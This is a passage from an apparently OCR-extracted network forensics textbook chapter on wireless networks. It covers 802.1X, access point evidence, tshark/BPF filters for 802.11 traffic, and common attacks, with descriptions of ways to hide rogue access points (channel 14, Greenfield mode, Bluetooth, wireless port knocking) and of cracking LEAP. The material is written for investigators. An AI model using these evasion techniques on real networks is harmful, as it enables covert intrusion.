— Built to utilize AES-CCMP (real crypto!).

— Currently considered secure when used with strong preshared keys or in combi-
nation with strong 802.1X authentication mechanisms.

11. Ibid.
12. Ibid.
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Figure 6-5. An 802.11 packet capture displayed in Wireshark. Having filtered down to only
management frames, a probe response is selected. The Packet Details panel shows the RSN
Information within the tagged parameters, indicating that AES-CCMP is used as the cipher.
Note that this is a clear indication that WPA?2 is used, and not WPA, since WPA doesn’'t
support AES-CCMP.

6.1.3 802.1X

802.1X was designed to provide a modular, extensible authentication framework for LANSs
(regardless of physical medium). It can be used over wired or wireless networks, and it
is designed to control access to the LAN. Forensic investigators should be aware of 802.1X
when it is used in the environment under investigation because it limits access to the network
and requires a back-end authentication system, that typically stores access logs.

802.1X is the IEEE’s standard for implementing the IETF’s Extensible Authentication
Protocol (EAP) over LANs.!> EAP was intended as an improvement to the Point-to-Point

13. B. Aboba, “RFC 3748—Extensible Authentication Protocol (EAP),” IETF, June 2004, http://
rfc-editor.org/rfc/rfc3748.txt.
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Protocol (PPP) methods for authentication. Though initially deployed predominantly as a
data link-layer protocol over asynchronous dial-up links, the abandonment of the 56kbps
modulator-demodulator (modem) hasn’t spelled the end for PPP. In its many incarnations it
remains perhaps the most widely used WAN protocol. PPP over Ethernet (PPPoE) ** is com-
monly used for DSL circuits. The Evolution-Data Optimized (EV-DO) wireless network—
used widely for both smartphones and laptops in the United States—uses PPP over its
wireless links as well. As a component of PPP, the Challenge Handshake Authentication
Protocol (CHAP) is still widely deployed, as is—regrettably—the Password Authentication
Protocol (PAP), which transmits passwords in cleartext.

RFC 3748 and the IEEE’s 802.1X standards provide a better framework for low-layer
authentication. Support for EAP by any Layer 2 device (physically switched or wireless)
allows for authentication not by knowledge of a “shared secret” but rather based on a
central authentication store. This can be performed over a dial-up link, 802.3 Ethernet, or
802.11 Wi-Fi, among others. The authentication is abstracted, and 802.1X can therefore
support a wide range of back-end authentication methods, including “EAP-Transport Layer
Security” (EAP-TLS), the “Protected Extensible Authentication Protocol” (PEAP), and
the “Lightweight Extensible Authentication Procotol” (LEAP).

6.1.3.1 Impact on Wireless Networks

EAP was not widely used until the weakness of WEP became well known, and there was
a scramble to deploy stronger access control mechanisms. Some enterprises responded by
deploying 802.1X with Cisco’s LEAP protocol on their wireless networks (and sometimes
wired networks as well). LEAP was based on Microsoft’s version of CHAP (MS-CHAP),
which does not send authentication credentials in the clear, but which has flaws that allow
passwords to be trivially brute-forced.'® Josh Wright’s “asleap” '® tool makes breaking LEAP
passwords an academic exercise.

PEAP, another proprietary protocol cooperatively designed by Cisco, Microsoft, and
RSA Security, tunnels EAP traffic via TLS in order to provide server-to-client authentica-
tion, confidentiality, and integrity.

6.1.3.2 Implications for the Investigator

When you encounter an 802.1X implementation, the back-end authentication system in
use—whether a RADIUS system or an Active Directory/LDAP server—is much more likely
to be producing an audit trail than a stand-alone WAP with a static key shared by all.
However, if LEAP is being used for authentication, network compromise due to use of a
weak authentication mechanism should be considered a very real possibility.

14. L. Mamakos, “RFC 2516—A Method for Transmitting PPP Over Ethernet (PPPoE),” IETF, February
1999, http://rfc-editor.org/rfc/rfc2516.txt.

15. B. Schneier and D. Wagner, “Cryptanalysis of Microsoft’s PPTP Authentication Extensions (MS-
CHAPvV2),” Secure Networking—CQRE [Secure]’99 (1999): 782782.

16. Joshua Wright, “asleap—exploiting cisco leap,” May 2, 2009, http://www.willhackforsushi.com/
Asleap.html.
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6.2 Wireless Access Points (WAPs)

A wireless access point (WAP) is a Layer 2 device that aggregates endpoint stations into a
LAN. Instead of voltages across a wire, the physical medium is RF through air (or buildings,
trees, etc). For WAPs, the physical layer is a shared medium, and as a result all stations have
access to all signals traveling across the LAN. This facilitates traffic sniffing in much the
same way as with wired hubs. Anyone within range to receive the RF signal can intercept
the traffic.

Unlike simple hubs, WAPs have a wide range of configuration options and logging ca-
pabilities. Hubs are dumb devices; all they do is replicate traffic. WAPs perform the same
function, but are much smarter devices.

Configuration and logging capabilities vary widely across brands and models. Even low-
end WAPs generally have built-in web management interfaces, basic logging capabilities,
MAC address filtering, and DHCP servers. Higher-end models also function as routers and
support syslog and SNMP.

In the enterprise, you will often find a centrally managed wireless network with many
distributed WAPs. These systems typically include corresponding software that aggregates
logs from all WAPs, which can allow you to gather the connection history for a given MAC
address and sometimes view the physical location of the connections on a map. In some
cases, you can even reconstruct the route that a wireless client (such as a tablet) took
through a building or campus.

On the one hand, we must treat WAPs as a class of hubs whose physical access is
nearly unlimited. This makes them a special case. On the other hand, unlike standard hubs,
most WAPs bundle functionality that transcends Layer 2. This can include Layer 3 routing,
DHCP functionality, Layer 4 NATing, and various sophisticated management capabilities.
To complicate matters, WAPs employ a range of different standards for encryption and
authentication. Some devices are even based on draft standards that have not yet been
finalized (such as 802.11aa).

6.2.1 Why Investigate Wireless Access Points?

Wireless access points are typically involved in forensic investigations for one of a few reasons:

e Wireless access points may contain locally stored logs of connection attempts, authen-
tication successes and failures, and other local WAP activity.

e WAP logs can help you track the physical movements of a wireless client throughout
a building or campus.

e The WAP configuration may provide insight regarding how an attacker gained access
to the network.

e The WAP configuration may have been modified by an unauthorized party as part of
an attack.

e The WAP itself may be compromised.
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6.2.2 Types of Wireless Access Points

There are a wide variety of wireless access points available, each with different interfaces
and functionality. The sheer variety of WAPs make them challenging for investigators to
assess and examine. Remember, any device with an 802.11 card can potentially be made to
function as a WAP, and so investigators must be familiar with a wide variety of platforms.
General classes of WAPs include enterprise and consumer devices.

6.2.2.1 Enterprise

Enterprise facilities typically span a much wider geographic range than home offices or small
businesses. Wireless networks are commonly set up to provide seamless, ubiquitous coverage
throughout the environment. Since enterprise IT staff usually deploy many wireless access
points, centralized management and integration are important. In the enterprise environ-
ment, wireless networks are commonly set up to use central authentication systems. They
also include central management consoles that can be used to monitor network state, user
activity, or even track wireless clients throughout the physical environment.
Common features of enterprise-class WAPs include:

e Support for IEEE 802.11a/b/g/n
e Physical media is RF waves

e Layer 3+ functionality, including:

— Support for routing protocols
— DHCP
— Network address translation
— Packet filtering
e Centralized authentication
e Auditable access logs (local and central)
e Station location tracking
e Performance monitoring capabilities
e Power over Ethernet (PoE)
e Indoor and outdoor options

The interface options for enterprise-class wireless access points frequently include:'7>18

e Console (command-line interface (CLI))

e Remote console (SSH/Telnet)

17. “Cisco Aironet 1250 Series Access Point Data Sheet [Cisco Aironet 1250 Series|,” Cisco Sys-
tems, 2011, http://www.cisco.com/en/US/prod/collateral/wireless/ps5678/ps6973/ps8382/product _data
_sheet0900aecd806b7c5c.html.

18. “Products | Aruba Networks,” 2011, http://www.arubanetworks.com/products/.
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e SNMP

o Web interface

Proprietary interface

Central management interface

Examples of enterprise wireless access points include the Cisco 3600 AP and Aruba’s
AP-135 WAPs for high-density environments.

6.2.2.2 Consumer

Small businesses and home users often deploy consumer-class WAPs in their home and office
environments. These devices are inexpensive and easy to configure for simple use.

There are two different kinds of consumer-class wireless access points that an investigator
might encounter and need to be concerned with. First, consumers may purchase their own
WAPs (or routers with built-in wireless capabilities) from retail stores. These low-end WAPs
typically have all the features that you need to easily build a home network or small office
to extend or replace wired infrastructure.

Second, WAP functionality is commonly built into DSL modems and cable modems
leased from an ISP. In these cases, you may not have legal or technical access to the device
without support from the local ISP. Furthermore, it is improtant to keep in mind that these
devices are often deployed by ISPs with trivial or default passwords.

Features of consumer-class wireless access points typically include:

Support for IEEE 802.11a/b/g/n

Physical media is RF waves

e Often contain Layer 34 functionality, including:

Limited routing
DHCP service
NATing

Limited filtering

Logging (locally and sometimes remotely)

The configuration interface options for consumer-class WAPs are typically limited to a
web interface or proprietary application. Examples of consumer-class WAPs are the ubiqui-
tous Linksys WRT54G and the Apple Airport.

Apple Airport Express Now let’s look at the higher-layer functionality bundled in common
consumer WAPs. The first example will be an Apple Airport Express. This is not merely
an access point; it also includes DHCP and NAT technology, as well as sophisticated traffic
statistics and management capabilities. It may not be the most widely deployed device, but
it is a good example of a proprietary interface with many common features.
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Figure 6—6. Log entries saved locally on an Apple Airport, accessed through the native, pro-
prietary Airport Utility. These logs can also be exported via Syslog or SNMP.

Figure 6-6 is a screenshot that displays local logs from an Apple Airport Express. (This
is from a real production device, so the client addresses have been partially blocked out.)

Linksys WRT54G The Linksys WRT54G series WAP (Figure 6-7) is one of the most
commonly deployed low-cost COTS WAPs, retailing at less than US$60. It is a fairly full-
featured router/switch/WAP with a web-based configuration interface that addresses basic
setup, wireless setup (including security settings), HTTP URL blocking ability, port-based
restrictions, and the ability to backup configurations to a local file.

However, the web-based interface is not terribly intuitive for laymen, and all the security
features that are most critical are disabled by default (hence the proliferation of “linksys”
SSIDs with no authentication or encryption enabled). Furthermore, the logging ability of
the native firmware is extremely limited in that no remote logging is possible.

One of the things that has made this particular make and its various models so popular is
that the firmware is easily flashable. This has opened the devices up to be reprogrammable,
and many projects exist that offer replacement software systems for the relatively cheap and
capable hardware. Many of these are based on Linux, and so offer much of the capabilities
that such distributions have natively, including syslog, packet capturing, robust filtering,
and network intrusion detection systems (NIDS).
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Figure 6-7. This is one of the second-generation WRT54G wireless routers from Linksys (now
Cisco of course). This device is an extremely common sight in homes and small offices, though
its slim lines and low profile make it relatively inconspicuous.

6.2.3 WAP Evidence

Wireless access points contain both volatile and nonvolatile evidence, although due to their
persistent storage capabilities tend to be very limited. WAPs can also send logs over the
network to a remote repository.

6.2.3.1 Volatile

As with switches and routers, most of the evidence on WAPs tends to be quite volatile.
Enterprise-class WAPs tend to include the same functionality and range of evidence as
wired routers, with the addition of wireless-specific capabilities. Evidence that you may find
on wireless access points includes:

e History of connections by MAC address
e List of IPs associated with MACs

e Historical logs of wireless events (access requests, key rotation, etc.)
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e History of client signal strength (can help identify geographic location)
e Routing tables

e Stored packets before they are forwarded

e Packet counts and statistics

e ARP table (MAC address to IP address mappings)

e DHCP lease assignments

e Access control lists

e I/0O memory

e Running configuration

e Processor memory

e Flow data and related statistics

6.2.3.2 Persistent

Again, like wired routers and switches, WAPs are not designed to include much local persis-
tent storage space. The WAP operating system and startup configuration files are maintained
in persistent storage by necessity. Persistent evidence you may find on a WAP includes:

e Operating system image
e Boot loader

e Startup configuration files

6.2.3.3 Off-System

Wireless access points can be configured to send event logs to remote systems for off-site ag-
gregation and storage. Syslog and SNMP are commonly supported. Enterprise-class devices
may include other options, often proprietary. Check the documentation for the model you
are investigating and review local configuration to locate devices that may contain off-system
WAP logs.

6.3 Wireless Traffic Capture and Analysis

Capturing and analyzing wireless traffic often provides valuable evidence in an investiga-
tion, for the same reasons we discussed in Chapter 3. However, there are some additional
complexities involved in capturing wireless traffic, as opposed to sniffing traffic on the wire.
In this section, we review some important notes for capturing and analyzing wireless traffic.
For further discussion of passive evidence acquisition and analysis, please see Chapter 3,
“Evidence Acquisition.”
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6.3.1 Spectrum Analysis

There are, literally, an infinite number of frequencies over which data can be transmitted
through the air. Sometimes the most challenging part of an investigator’s job is simply
identifying the wireless traffic in the first place.

For Wi-Fi traffic, the IEEE utilizes three frequency ranges:

e 2.4 GHz (802.11b/g/n)!?
e 3.6 GHz (802.11y)*°
e 5 GHz (802.11a/h/j/n)?!

Each of these frequency ranges is divided into distinct channels, which are smaller fre-
quency bands (for example, the IEEE has specified 14 channels in the 2.4 GHz range).
Although the IEEE has set globally recognized frequency boundaries for 802.11 protocols,
individual countries typically allow only a subset of these frequency ranges.

The precise frequencies in use vary by country. For example, the United States only
allows WiFi devices to communicate over channels 1-11 in the 2.4 GHz range, while Japan
allows transmission over all 14 channels. As a result, WiFi equipment manufactured for use
in the United States is generally not capable of transmitting or receiving traffic on all of
the channels used in Japan. This has important consequences for forensic investigators. For
example, an attacker can purchase a Japanese WAP that supports Channel 14 and plug it
into a corporate network in the United States, and U.S. wireless clients will not “see” the
access point.

Wireless security researcher Joshua Wright has also published articles about the use of
802.11n in “Greenfield” (GF) mode. 802.11n devices operating in Greenfield mode are not
visible to 802.11a/b/g devices. As a result, investigators scanning for wireless devices using
802.11a/b/g cards will not detect the 802.11n network. Please see Section 6.4.2, “Rogue
Wireless Access Points,” for more details.

When monitoring for the presence of wireless traffic, make sure that you fully understand
the capabilities of your monitoring device, as well as the potential for devices that operate
outside your range of detection.

19. IEEE, “IEEE Standard for Information Technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications Amendment 5: Enhancements
for Higher Throughput” (October 29, 2009): Annex J, http://standards.iece.org/getieee802/download/
802.11n-2009.pdf (accessed December 31, 2011).

20. IEEE, “IEEE Standard for Information Technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications Amendment 3: 3650-3700
MHz Operation in USA” (November 6, 2008): Annex J, http://standards.ieee.org/getieee802/download/
802.11y-2009.pdf (accessed December 31, 2011).

21. IEEE, “IEEE Standard for Information Technology—Telecommunications and information exchange
between systems—JLocal and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications Amendment 5: Enhancements
for Higher Throughput” (October 29, 2009): Annex J, http://standards.ieee.org/getieee802/download/
802.11n-2009.pdf (accessed December 31, 2011).


http://standards.ieee.org/getieee802/download/802.11n-2009.pdf
http://standards.ieee.org/getieee802/download/802.11n-2009.pdf
http://standards.ieee.org/getieee802/download/802.11y-2009.pdf
http://standards.ieee.org/getieee802/download/802.11y-2009.pdf
http://standards.ieee.org/getieee802/download/802.11n-2009.pdf
http://standards.ieee.org/getieee802/download/802.11n-2009.pdf

6.3 Wireless Traffic Capture and Analysis 221

Spectrum analyzers are designed to monitor RF frequencies and report on usage. They
can be very helpful for identifying stealthy rogue wireless devices and WiFi channels in
use. MetaGeek’s Wi-Spy product line supports the 2.4 GHz and 5 GHz frequency bands
(as well as 900 MHz), and range in price from $100 to $1,000. AirMagnet (owned by Fluke
Networks) also produces a popular wireless spectrum analyzer that can “identify, name and
find: Bluetooth devices, 2.4G cordless phones, microwave ovens, RF Jammers, analog video
cameras, etc.”??

6.3.2 Wireless Passive Evidence Acquisition

In order to capture wireless traffic, investigators need an 802.11 wireless card capable of
running in Monitor mode. Many wireless cards do not support this capability. Furthermore,
in order to ensure totally passive monitoring, it is preferable to use a special-purpose WiFi
monitoring card that can be configured to operate completely passively.

Riverbed Technology offers the AirPcap USB adapters, that are designed for exactly
this task. The AirPcap USB adapter plugs into a USB port and can monitor Layer 2 WiFi
traffic (one channel at a time). AirPcap software runs on Windows, integrates with Wire-
shark, and can be configured to automatically decrypt WEP-encrypted frames. The AirPcap
“Classic” and “Tx” models support the 2.4 GHz 802.11b/g band, while the “Nx” model ad-
ditionally supports 802.11n. The “Nx” model also includes an external antenna connector. 23
Figure 6-8 shows an example of the AirPcap USB dongle.

Figure 6-8. The AirPcap USB adapter from Riverbed Technology (previously CACE Tech-
nologies).

22. “WLAN Design, Security and Analysis,” Fluke Networks, 2011, http://www.airmagnet.com/products/
spectrum_analyzer/.

23. “Riverbed Technology—AirPcap,” 2011, http://www.cacetech.com/products/airpcap.html.
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For Linux users, the AirPcap USB adapter can be used via a modified driver (although
the AirPcap software is still Windows-only). Josh Wright provides a patch for the zd1211rw
wireless driver, which supports sniffing using the AirPcap dongle.?*

Once you have the ability to monitor Layer 2 802.11 traffic, you can use standard tools
such as tcpdump, Wireshark, and tshark to capture and analyze it.

Regardless of whether or not a WAP’s traffic is encrypted, investigators can gain a great
deal of information by capturing and analyzing 802.11 management traffic. This information
commonly includes:

e Broadcast SSIDs (and sometimes even nonbroadcast ones)

e WAP MAC addresses

e Supported encryption/authentication algorithms

e Associated client MAC addresses

Even when the WAP traffic is encrypted, there is a single shared key for all stations. This
means that anyone who gains access to the encryption key can listen to all traffic relating
to all stations (as with physical hubs). For investigators, this is helpful because local IT
staff can provide authentication credentials, which facilitate monitoring of all WAP traffic.
Furthermore, there are well-known flaws in common WAP encryption algorithms such as
WEP, which can allow investigators to circumvent or crack unknown encryption keys.

Once an investigator has gained full access to unencrypted 802.11 traffic contents, this
data can be analyzed in the same manner as any other unencrypted network traffic.

6.3.3 Analyzing 802.11 Efficiently

So, you have some 802.11 frames. During the course of an investigation, you may search for
the answers to questions such as:

e Are there any beacons in the wireless traffic?

e Are there any probe responses?

Can you find all the BSSIDs/SSIDs from authenticated/associated traffic?
Can you find malicious traffic? What does that look like?

Is the captured traffic encrypted using WEP/WPA? Is anyone trying to break the
encryption?

6.3.3.1 tcpdump and tshark

It’s certainly true that you could use Wireshark to sort out the endianness problem for you,
and you could use the graphical interface to try to zero in on the answers to any of the
above questions. However, for large packet captures in particular, tcpdump and tshark tend
to be more efficient and scalable.

24. http://www.willhackforsushi.com/code/zd1211rw-airpcap-linux-2.6.31.diff. (Accessed Jan. 6, 2012.)
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With nothing but a powerful filtering language and an understanding of how 802.11
is structured—and how it transmits the bits—you can very quickly hone in on important
wireless traffic. The following discussion presents useful BPF filters and display filters that
can be used to filter 802.11 traffic.

Find the WAPs: Finding Beacon frames with tcpdump and BPF filters is straightforward,
as shown below. Recall from Section 6.1.2.1 that Beacon frames are a type of management
frame (type 0) with subtype 0x08. With a “Version” field of 0b00, the 0-byte offset of
the 802.11 frame header (referred to as “wlan[0]”) is 0b00001000. In order of transmission
(remember that 802.11 is “mixed-endian”) that becomes 0b10000000, or 0x80.

'wlan[0] = 0x80'

The 802.11 specification includes a 1-bit field called “ESS capabilities,” which has a
Wireshark field name of “wlan_mgt.fixed.capabilities.ess.” According to the IEEE’s 802.11
specification, “WAPs set the ESS subfield to 1 and the IBSS subfield to 0 within transmitted
Beacon or Probe Response management frames.” 2 Let’s use tshark to search for Beacon or
Probe Response frames where the ESS subfield is set to 1 and the IBSS subfield is set to 0,
as shown below:

$ tshark -nn -r wlan.pcap -R '((wlan.fc.type_subtype == 0x08 || wlan.fc.
type_subtype == 0x05) && (wlan_mgt.fixed.capabilities.ess == 1) && (
wlan_mgt.fixed.capabilities.ibss == 0))'

1 0.000000 00:23:69:61:00:d0 -> ff:ff:ff:ff:ff:ff 802.11 105 Beacon frame
, SN=3583, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

265 20.409086 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3801, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

270 20.597504 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3804, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

335 23.318463 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3837, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

412 26.317951 00:23:69:61:00:d0 -> 00:11:22:33:44:55 802.11 211 Probe
Response, SN=3873, FN=0, Flags=. ....... , BI=100, SSID=MentOrNet

[...1]

Find the Encrypted Data Frames: Similarly, how can we filter quickly down to encrypted
data frames? Just for fun, let’s use a BPF filter to accomplish this. 802.11 data frames are
version 0, type 2, subtype 0 (in binary 0b00100000). In order of transmission, the first byte
(“wlan[0]”) is 0b00001000, which in hexadecimal is 0x08.

As discussed earlier, the “Protected” bit indicates whether the frame is encrypted using
WEP, TKIP, or AES-CCMP. The Protected bit is located at bit 6 of the 1-byte offset of
the 802.11 frame (refer to Figures 6-1 and 6-3). With fields reversed within the byte for
transmission, the Protected bit is the second bit received in the 1-byte offset (“wlan[1]”).
Consequently, we have to construct a bitmask of 0b01000000 (0x40 in hexadecimal) to test
whether the Protected bit is set.

25. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications” (June 12, 2007): 251,
http://standards.ieee.org/getieee802/download/802.11-2007.pdf. (accessed December 31, 2011).
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The combination of the two tests, shown below, produces all of the encrypted data
packets in a given capture!2%

'wlan[0] = 0x08 and wlan[1] & 0x40 = 0x40'

6.4 Common Attacks

Often, investigators suspect that a wireless network has been or is currently under attack.
Common attacks on wireless networks include:

e Sniffing An attacker eavesdrops on the network

e Rogue Wireless Access Points Unauthorized wireless devices that extend the local
network, often for an end-user’s convenience

e The Evil Twin Attack An attacker sets up a WAP with the same SSID as a legiti-
mate WLAN

¢ WEP Cracking An attacker attempts to recover the WEP encryption key to gain
unauthorized access to a WEP-encrypted network.

It is important for network forensic investigators to recognize the signs of common at-
tacks. We discuss each of these in detail below.

6.4.1 Sniffing

Eavesdropping on wireless traffic is extremely common, in part because it is so easy to
do! From script kiddies in coffeeshops to professional surveillance teams, wireless traffic
monitoring is, frankly, popular. Even where it is completely illegal, the risk of detection is
exceptionally low, and the information gained can be very valuable. Both forensic investiga-
tors and attackers alike know how to passively monitor wireless traffic and use this technique
to their advantage.

Wireless LANSs, by virtue of their physical medium, can be accessed over great distances.
Although WLANS can be designed to serve a specific geographic range, it is challenging for
network administrators to limit the signal to that area and prevent leakage.

The FCC stipulates rules that govern the effective range of 802.11 transmissions. Based
on these rules, theoretically the distance from which a station can interact with a wireless
access point is limited to roughly 200 feet or 61 meters.?” However, directional antennae can
be constructed from off-the-shelf components that can dramatically increase the effective

26. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange
between systems—Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications” (June 12, 2007): 60-64.

27. “Title 47 CFR Part 15: Low Power Broadcast Radio Stations, Audio Division (FCC) USA,” 2011, http://
www.fcc.gov/mb/audio/lowpwr.html.
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ranges. (As we discussed in Section 3.1.2, one research team claimed a successful data
transfer of 3Mbps over a distance of 238 miles!?®)

Eavesdropping on telecommunications (including those transmitted over RF) is a viola-
tion of wiretap statutes in many jurisdictions. Remember that even stations that are not
associated with a wireless network can capture and analyze WAP traffic. Forensic investi-
gators should be aware that an attacker may have access to the network via a WAP, and
that they may be able to monitor local traffic or communicate on the LAN from a location
far outside what is considered normal range, a great distance away.

6.4.2 Rogue Wireless Access Points

For $40, anyone can purchase a cheap WAP and plug it into the company network. Often,
employees do this simply for the sake of convenience, not realizing that it opens the com-
pany to attack. Criminals also deliberately plant wireless access points that allow them to
bypass the pesky firewall and remotely access the network later on. These days, disgruntled
employees can easily hide a WAP behind the file cabinet before cleaning out their desks and
then access the company network months later from the parking lot.

Many companies conduct regular “war-walking” scans to detect rogue access points (i.e,
using Kismet or NetStumbler) or invest in commercial wireless intrusion detection systems
(WIDSs). However, there are sneaky ways to bypass traditional war-walking and WIDSs.

Forensic investigators should be aware of the methods that attackers can use to place
rogue access points and evade detection. Rogue access points can be used to covertly extend
the range of an internal network, facilitating access from far outside the physical bounds
that network administrators might expect. Rogue access points may also allow for untracked
LAN access, and act as a pivot point for attacks.

Conversely, in certain situations a forensic investigator may be charged with monitoring
a network in which the network administrators are hostile or unaware of the investigation. In
these circumstances, where law and ethics allow, it may be the forensic investigator employ-
ing these same techniques for the purposes of covert monitoring and evidence acquisition.

6.4.2.1 Changing the Channel

In the United States, the FCC has licensed 11 channels for 802.11b/g/n, which have center
frequencies between 2.412 GHz to 2.462 GHz. However, most of Europe allows 13 channels
(up to 2.472 GHz) and Japan allows 802.11b all the way up to channel 14, or 2.484 GHz.?’

Cards manufactured for the United States often don’t support channel 14, since it’s
illegal to transmit on that frequency. There’s overlap between the channels, but at 2.484
GHz, channel 14 is far enough away from channel 11 that network cards are unlikely to pick
up much signal on channel 11. If an attacker were to configure a WAP to illegally transmit
on channel 14 and export data at 2.484 GHz, security teams monitoring U.S. channels would
probably never detect it.

28. Michael Kanellos, “Ermanno Pietrosemoli has set a new record for the longest communication Wi-
Fi link,” Historia de Internet en Amrica Latina y el Caribe, June 2007, http://interred.wordpress.com/
2007/06/18/ermanno-pietrosemoli-has-set-a-new-record-for-the-longest-communication-wi-fi-link /.

29. “List of WLAN channels—Wikipedia, the free encyclopedia.”
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Similar tactics are effective in other countries, when attackers use frequencies outside
the bounds of normal wireless device operation.

6.4.2.2 802.11n Greenfield Mode

The IEEE’s 802.11n (“MIMO”-based) specification is designed to allow much greater
throughput than 802.11a/b/g (100Mbps or more).? The 802.11n standard specifies two
modes:3?

e “Mixed mode,” which allows it to work with legacy 802.11a/b/g networks,

e “Greenfield” (GF) or “high-throughput-only” mode, which takes full advantage of the
enhanced throughput but is not visible to 802.11a/b/g devices. Older devices will see
GF-mode traffic only as noise.

Not visible to 802.11a/b/g devices? That means if you're war-walking with an 802.11a/b/g
card, you can’t see 802.11n devices operating in Greenfield (GF) mode. Even before the
specification was finalized, 802.11n devices were already available for as little as $50—easy
to buy, easy to plug into the company’s network. However, many companies have not yet
purchased 802.11n-compatible equipment and hence cannot detect GF-mode 802.11n rogue
WAPs.

Josh Wright submitted a vulnerability report explaining this, in which he wrote: “With
the inability to decode GF mode traffic, an attacker can position a malicious rogue WAP
on a victim network using the GF mode preamble. This would allow an attacker to evade
wireless intrusion detection systems (WIDS) based on non-HT devices. This includes all
WIDS devices based on 802.11a/b/g wireless cards.”3?

6.4.2.3 Bluetooth Access Point

When you think about Bluetooth, you probably envision your tiny little headset that crackles
and hisses every time you walk too far away from your phone. That’s because your Bluetooth
headset is designed for a Class 2 Bluetooth network, which is fairly low-power (2.5mW) and
has a maximum range of about 9m.33

However, there’s more to Bluetooth than your rinky-dink headset. Bluetooth Class 1
devices are much more powerful, with ranges similar to 802.11b WAPs. A Bluetooth Class
1 device can transmit up to 100mW, with a typical range of up to about 91m (or possibly

30. Joshua Wright, “Wireless Ethical Hacking, Penetration Testing, and Defense: Wireless Architecture &
Analysis,” The SANS Institute, 2008.

31. IEEE, “IEEE Standard for Information technology—Telecommunications and information exchange
between systems— Local and metropolitan area networks—Specific requirements Part 11: Wireless LAN
Medium Access Control (MAC) and Physical Layer (PHY) Specifications, Amendment 5: Enhancements for
Higher Throughput” (October 29, 2009), http://standards.ieee.org/getieee802/download/802.11n-2009.pdf
(accessed December 31, 2011).

32. Joshua Wright, “GF Mode WIDS Rogue AP Evasion,” Wireless Vulnerabilities and Exploits, November
13, 2006, http://www.wirelessve.org/entries/show/WVE-2008-0005.

33. Karen Scarfone and John Padgette, “Guide to Bluetooth Security: Recommendations of the National
Institute of Standards and Technology,” Special Publication 800-121, National Institute of Standards and
Technology, September 2008, http://csrc.nist.gov/publications/nistpubs/800-121/SP800-121.pdf (accessed
December 31, 2011).
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miles, if the receiver has a directional antenna).You can buy a Class 1 Bluetooth WAP for
$100-$200.34

Can you discover Bluetooth WAPs while war-walking? Not if you’re just using an 802.11
card. Even if you're using a spectrum analyzer like WiSpy, you may not notice it. Bluetooth
uses Frequency Hopping Spread Spectrum,® and hops 1,600-3,200 times a second across 79
channels throughout the 2.4-2.4835 GHz band. Because it’s spread out across the spectrum,
it can be hard to notice and easily mistaken for noise by the untrained eye. Most Wireless
IDS systems and security teams simply don’t look for it (yet).36> 37

6.4.2.4 Wireless Port Knocking

Remember port knocking? Instead of installing a backdoor to listen on a particular port
(where it might be noticed), 133t h4x0rs installed rootkits that would wait for a particular
sequence of ports to be scanned, at which point the knocker’s IP address would be granted
access. With wireless knocking, a rogue WAP sits on the network in monitor mode, listening
for probe requests. When the rogue WAP receives a packet (or sequence of packets) with the
preconfigured SSID, it awakens and switches to master mode. The program “WKnock” is
designed for this purpose,® and it can be installed on any WAP supported by the Open WRT
framework. During times when the rogue WAP isn’t active, it is silent and can’t be detected
using common wireless scanning tools. Sneaky!3"

6.4.3 Evil Twin

The “Evil Twin” attack is when an attacker sets up a WAP with the same SSID as one that
is used in the local environment, usually in order to conduct a man-in-the-middle attack on
an 802.11 client’s traffic.

By default, commercial 802.11 clients associate with the SSID that their operators tell
them to. If there is more than one WAP with the same SSID, as will be the case with
most centrally-managed wireless network (either corporate or in a Wi-Fi “hotspot”) then
the client will associate with the WAP providing the strongest signal. When the Evil Twin’s
signal strength is stronger than the “real” WAP, 802.11 clients will associate with the
Evil Twin.

It is trivial for any 802.11 device to masquerade as the closest infrastructure WAP
for any given SSID. Any 802.11 device can be made to advertise itself as an available peer.
These advertisements can be of two kinds: ad-hoc and infrastructure. By default, commercial

34. Ibid.

35. Sherri Davidoff, “Philosecurity, Blog Archive: Off the Grid,” July 28, 2008, http://philosecurity.org/
2008/07/28/off-the-grid.

36. Joshua Wright, “Wireless Ethical Hacking, Penetration Testing, and Defense: Wireless Security Exposed,
Part 4,” The SANS Institute, 2008.

37. Karen Scarfone and John Padgette, “Guide to Bluetooth Security: Recommendations of the National
Institute of Standards and Technology,” Special Publication 800-121, National Institute of Standards and
Technology, September 2008, http://csrc.nist.gov/publications/nistpubs/800-121/SP800-121.pdf (accessed
December 31, 2011).

38. “rstack: wknock,” 2011, http://rstack.org/oudot/wknock.

39. Oudot Laurent, “WLAN and Stealth Issues,” 2005, http://www.blackhat.com/presentations/bh-europe-
05/BH_EU_05-Oudot/BH_EU_05-Oudot.pdf.


http://philosecurity.org/2008/07/28/off-the-grid
http://philosecurity.org/2008/07/28/off-the-grid
http://csrc.nist.gov/publications/nistpubs/800-121/SP800-121.pdf
http://rstack.org/oudot/wknock
http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Oudot/BH_EU_05-Oudot.pdf
http://www.blackhat.com/presentations/bh-europe-05/BH_EU_05-Oudot/BH_EU_05-Oudot.pdf

228 Chapter 6 Wireless: Network Forensics Unplugged

WAPs are infrastructure devices and, by default, most commercial operating systems that
support 802.11 networking devices allow them to advertise as ad-hoc networks for peer-to-
peer purposes. However, it is not difficult to switch an 802.11 interface on a desktop or
laptop into infrastructure mode. With Linux, it’s as easy as a single “iwconfig” command.

The “Evil Twin” ruse allows any sufficiently strong 802.11 broadcaster to become a “man-
in-the-middle” between the unwitting client and every other system that it communicates
